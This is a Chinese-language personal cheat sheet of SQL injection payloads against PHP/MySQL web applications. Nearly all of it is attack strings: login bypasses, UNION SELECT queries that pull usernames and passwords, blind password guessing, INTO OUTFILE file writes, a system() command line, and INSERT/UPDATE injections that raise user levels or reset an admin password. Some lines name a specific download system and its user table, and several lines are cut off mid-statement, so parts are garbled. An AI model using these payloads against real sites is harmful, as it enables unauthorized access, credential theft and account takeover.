PHP注入总结（写给自己）
' or 1=1 ' or '1=1'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 （ord函数很好用，可以返回整形的）
' and LENGTH(password)='6（探测密码长度）
' and LEFT(password,1)='m
' and LEFT(password,2)='my
..............................依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* （可以是1或者=后直接跟）
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt （导出文件）
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() （灵活应用查询）
常用查询测试语句，
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 12
select * FROM table where 3>2
select * FROM table where 20 THEN 1 END
例如：夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where> 例如2：灰色轨迹 变换id进行测试（meteor）
union (select allowsmilies,public,userid,'0000-0-0',user (),version() FROM calendar_events where eventid =13) order by eventdate
union (select allowsmilies,public,userid,'0000-0-0',pass (),version() FROM calendar_events where eventid =10) order by eventdate
构造语句：
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
union (select 1,0,2,'1999-01-01','a',password FROM u ser where userid = 5) order by eventdate
union (select 1,0,12695,'1999-01-01','a',password FROM user where userid=13465) order by eventdate
union (select 1,0,12695,'1999-01-01','a',userid FROM user where username='sandflee') order by eventdat
（select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
select * FROM article where articleid='$id' union select * FROM......（字段和数据库相同情况下，可直接提交）
select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM......（不同的情况下）
特殊技巧：在表单，搜索引擎等地方写：
"___"
".__ "
"%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
$command = "dir c:\";system($command);
select * FROM article where articleid='$id'
select * FROM article where articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句形式：建立一个库，插入：
create DATABASE `injection`
create TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
insert INTO `user` VALUES (1, 'swap', 'mypass');
插如一个注册用户：
insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
insert INTO membres SET login='',password='',nom='',userlevel='3',email=''
"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
update user SET password='$password', homepage='$homepage' where>
update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where>
"update membres SET password='$pass',nom='$nom',email='$email' where>
update membres SET password='',nom='',userlevel='3',email=' ' where>
"update news SET Votes=Votes+1, score=score+$note where> 长用函数：
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如：
update article SET>
update article SET> #把当前数据库名更新到title字段
update article SET> #把当前 MySQL 用户名更新到title字段
update article SET> #把当前 MySQL 用户名更新到title字段
update article SET> #把当前 MySQL 用户名更新到title字段
update article SET> #把当前会话被验证匹配的用户名更新到title字段
$req = "select * FROM membres where name like '%$search%' ORDER BY name";
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' （经典）
select uid FROM admins where login='' OR admin_level=1#' AND password=''
select * FROM table where msg like '%hop'
select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
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